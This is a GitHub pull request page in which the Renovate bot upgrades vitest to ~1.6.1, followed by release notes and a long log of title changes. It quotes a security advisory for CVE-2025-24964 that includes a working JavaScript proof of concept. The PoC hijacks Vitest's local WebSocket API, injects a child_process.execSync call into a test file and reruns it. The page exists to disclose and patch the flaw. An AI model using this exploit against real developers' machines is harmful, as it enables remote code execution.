Skip to content

Update dependency vitest to ~1.6.1 [SECURITY] #616

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) ~1.2.2 -> ~1.6.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Feb 4, 2025
@lobehubbot
Copy link
Member

👍 @renovate[bot]

Thank you for raising your pull request and contributing to our Community
Please make sure you have followed our contributing guidelines. We will review it as soon as possible.
If you encounter any problems, please feel free to connect with us.
非常感谢您提出拉取请求并为我们的社区做出贡献,请确保您已经遵循了我们的贡献指南,我们会尽快审查它。
如果您遇到任何问题,请随时与我们联系。

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d00e1c0 to a70de53 Compare February 9, 2025 14:15
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Feb 9, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a70de53 to ae66f1a Compare February 9, 2025 17:11
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Feb 9, 2025
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 824d5ab to 613304b Compare March 3, 2025 19:34
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 613304b to e633b77 Compare March 11, 2025 10:53
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Mar 11, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e633b77 to 7cbd56f Compare March 11, 2025 22:59
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Mar 11, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 7cbd56f to b022dab Compare March 13, 2025 15:33
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Mar 13, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b022dab to 9ce30ee Compare March 13, 2025 19:54
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Mar 13, 2025
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Mar 17, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 9ce30ee to cf1675a Compare March 17, 2025 13:36
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Mar 17, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from cf1675a to a7b4039 Compare March 17, 2025 20:32
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Apr 1, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 88ba19b to dadfa0e Compare April 1, 2025 19:27
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Apr 1, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from dadfa0e to 74211f4 Compare April 24, 2025 08:48
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Apr 24, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 74211f4 to 8370abb Compare April 24, 2025 17:24
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Apr 24, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 8370abb to ae4e3f2 Compare May 7, 2025 13:15
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] May 7, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ae4e3f2 to efcd325 Compare May 7, 2025 19:29
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] May 7, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from efcd325 to 4efb1a4 Compare May 13, 2025 11:08
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] May 13, 2025
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] May 13, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 118402a to b222e6b Compare May 19, 2025 16:14
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] May 19, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b222e6b to 6cc55c6 Compare May 19, 2025 20:41
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] May 19, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 6cc55c6 to 157f610 Compare May 28, 2025 08:30
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] May 28, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 157f610 to 145132b Compare May 28, 2025 16:49
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] May 28, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 145132b to 0b2a326 Compare June 4, 2025 06:45
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Jun 4, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 0b2a326 to bf72bb0 Compare June 4, 2025 13:34
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Jun 4, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from bf72bb0 to 3e896ff Compare June 18, 2025 07:02
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Jun 18, 2025
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Jun 18, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 75ddc29 to 23cd8f9 Compare June 22, 2025 15:01
@renovate renovate bot changed the title Update dependency vitest to ~1.6.1 [SECURITY] Update dependency vitest to ~1.6.0 [SECURITY] Jun 22, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 23cd8f9 to 9f1a1ce Compare June 22, 2025 17:39
@renovate renovate bot changed the title Update dependency vitest to ~1.6.0 [SECURITY] Update dependency vitest to ~1.6.1 [SECURITY] Jun 22, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant